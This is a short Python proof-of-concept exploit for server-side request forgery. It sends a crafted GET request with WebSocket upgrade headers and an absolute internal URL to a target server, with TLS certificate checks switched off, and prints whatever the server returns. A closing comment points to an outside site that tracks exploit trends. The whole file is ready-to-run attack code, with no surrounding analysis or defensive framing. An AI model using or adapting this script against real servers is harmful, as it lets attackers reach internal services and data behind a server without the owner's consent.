import socket
import ssl
import sys
def ssrf(host, port, internal_url, use_ssl=False):
req = (
f"GET {internal_url} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Connection: Upgrade\r\n"
f"Upgrade: websocket\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
f"\r\n"
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
try:
if use_ssl:
context = ssl.create_default_context()
# 忽略证书校验
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
s = context.wrap_socket(
s,
server_hostname=host
)
s.connect((host, port))
s.sendall(req.encode())
data = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
except Exception as e:
data = str(e).encode()
finally:
s.close()
return data
if __name__ == "__main__":
host = "127.0.0.1"
port = 443
response = ssrf(
host,
port,
"http://example.com/",
use_ssl=True
)
print(response.decode(errors="ignore"))
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.